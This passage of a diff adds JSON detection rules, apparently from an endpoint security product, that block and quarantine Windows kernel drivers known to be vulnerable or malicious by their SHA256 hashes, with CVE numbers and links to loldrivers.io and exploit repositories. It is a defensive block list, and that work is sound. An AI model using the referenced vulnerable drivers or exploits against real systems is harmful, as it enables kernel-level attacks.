+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618057Z",
+  "creation_date": "2026-03-23T11:45:29.618059Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618065Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4737750788c72d2fc9cf95681c622357263075d65b23e54c4dc3f31446cad37b",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "758ec7c1-8ea9-5995-a603-90db92ea0309",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823713Z",
+  "creation_date": "2026-03-23T11:45:31.823715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5483d329abd393f8210f4c2ac1ac869d0460437a3f02d2b12bce5d79efb6094c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75902a3f-6097-5473-bf71-acad317b735e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617731Z",
+  "creation_date": "2026-03-23T11:45:29.617733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617739Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71dc8d678e0749599d3db144c93741f64def1b8b0efb98bef963d2215ebb4992",
+  "comment": "Cheat Engine dangerous driver (aka dbk64.sys) [https://www.loldrivers.io/drivers/1524a54d-520d-4fa4-a7d5-aaaa066fbfc4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "759199e1-0a20-5d1b-abd7-37733a1e1251",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823815Z",
+  "creation_date": "2026-03-23T11:45:31.823817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2cec449ef0979ac93a7ef6800ee545eea4e06c7fde1e845b6e03a4d876ecbf78",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7595d3f8-78b9-582c-91a1-1589b35bef58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973810Z",
+  "creation_date": "2026-03-23T11:45:29.973812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973817Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "818e396595d08d724666803cd29dac566dc7db23bf50e9919d04b33afa988c01",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75a4f09d-428c-5f4d-b71e-7b022902dc11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151782Z",
+  "creation_date": "2026-03-23T11:45:31.151785Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151795Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91106ec1eca4aa843813fc2f938a6bd8a11479afd0994f84c4adf28e0ad628c5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75af6210-5611-5f5d-8bc1-a25b1116707e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490644Z",
+  "creation_date": "2026-03-23T11:45:31.490646Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490651Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2076e52665e419bb4001119a08c5cee2cb8931e534b2fa92a01112866ec0bd5a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75b80154-0ed1-5d7e-8021-f594f6d9a19b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976228Z",
+  "creation_date": "2026-03-23T11:45:29.976230Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976235Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fd223833abffa9cd6cc1848d77599673643585925a7ee51259d67c44d361cce8",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75c26195-5de6-5df8-b9d0-984ae906647a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820065Z",
+  "creation_date": "2026-03-23T11:45:30.820067Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820073Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f5243c9d9638a23ccf0e32f54c585e5688a4a853ff04898281fa23697aaec34",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75e09d81-e474-5593-818d-cd943503a42f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975325Z",
+  "creation_date": "2026-03-23T11:45:29.975327Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43b82200c2189aa63b332a62907f12fd5ad52fe275feca60fa9636555319518a",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75ed486c-f9d3-5ef8-819a-59d1c697ac4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483662Z",
+  "creation_date": "2026-03-23T11:45:31.483666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d1e83cb1056ee615c4f03456d55dfc95a76f8afc64116728edd5c44ca7017fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75f7bce2-29d7-5d6a-9fb2-c55b8969f627",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604090Z",
+  "creation_date": "2026-03-23T11:45:29.604092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f742d827a2e203a4c9d8fccb1daf2e85d451761fc9c0acb962dd6c447ef10ca",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75f872d7-7c98-5539-86a9-cadd39823d63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470990Z",
+  "creation_date": "2026-03-23T11:45:30.470993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471002Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "234664ae69df63d55c1477f3adc33ffdb130fc939c55c16e73e3339a133bcfa3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75f9d3a5-a896-5556-bff0-36bcdc84fcc7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142939Z",
+  "creation_date": "2026-03-23T11:45:32.142941Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142947Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fa50ee8ed9d5c91d3375950613132497c44f468193bce9fe8e51c918a9498b5",
+  "comment": "Vulnerable Filseclab Driver (aka fildds.sys, filnk.sys and filwfp.sys) [https://twitter.com/SophosXOps/status/1764933865574207677] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76015575-1679-5cbd-a935-eb28dc554abd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835375Z",
+  "creation_date": "2026-03-23T11:45:30.835378Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835388Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d86194d55186fa5f976da6cdc8758411d8e3d6a221417ac815aa3ba148e0d90",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76042022-c1f2-5fbc-8701-7d9c84598809",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982538Z",
+  "creation_date": "2026-03-23T11:45:29.982540Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bc3994612624da168750455b363f2964e1861dba4f1c305df01b970ac02a7ae",
+  "comment": "Malicious Kernel Driver (aka daxin_blank1.sys) [https://www.loldrivers.io/drivers/1bf3b155-752a-4cc7-beb0-f202e525eb1a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "760a10b5-d13e-5837-8a1c-2b670477440c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983439Z",
+  "creation_date": "2026-03-23T11:45:29.983441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d25904fbf907e19f366d54962ff543d9f53b8fdfd2416c8b9796b6a8dd430e26",
+  "comment": "Vulnerable Kernel Driver (aka Blackbone.sys) [https://www.loldrivers.io/drivers/b9b835bd-b720-424b-9160-2442bc4d6e58/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76145b10-7db1-529f-8f28-c94951fae112",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979342Z",
+  "creation_date": "2026-03-23T11:45:29.979344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979349Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6994b32e3f3357f4a1d0abe81e8b62dd54e36b17816f2f1a80018584200a1b77",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7616a600-1824-5b3e-87f4-6c3e8b65dda9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816834Z",
+  "creation_date": "2026-03-23T11:45:31.816838Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816846Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab47c98ad0fd5bd499a9b64e8697049658e4e7f4e3ac5573d6d776578749cc80",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "761eae45-3d62-5d71-8891-f4ba44272805",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610388Z",
+  "creation_date": "2026-03-23T11:45:29.610390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610396Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49329fa09f584d1960b09c1b15df18c0bc1c4fdb90bf48b6b5703e872040b668",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "76344f3f-8ead-5fef-8bae-1f4d73eff66f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605576Z",
+  "creation_date": "2026-03-23T11:45:29.605578Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37a165ae09645763189c2a973475d744bf3897f267dcca673b6b57477d9f8b38",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "764892de-3027-5ee3-95c4-4f1603a45696",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154501Z",
+  "creation_date": "2026-03-23T11:45:31.154503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154509Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7e0b9e529533471060e5cd0f9fbed341d18225a58a12c6c13c615ae062cb1e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "765e9e57-fd6e-5860-8839-d7751018ab24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
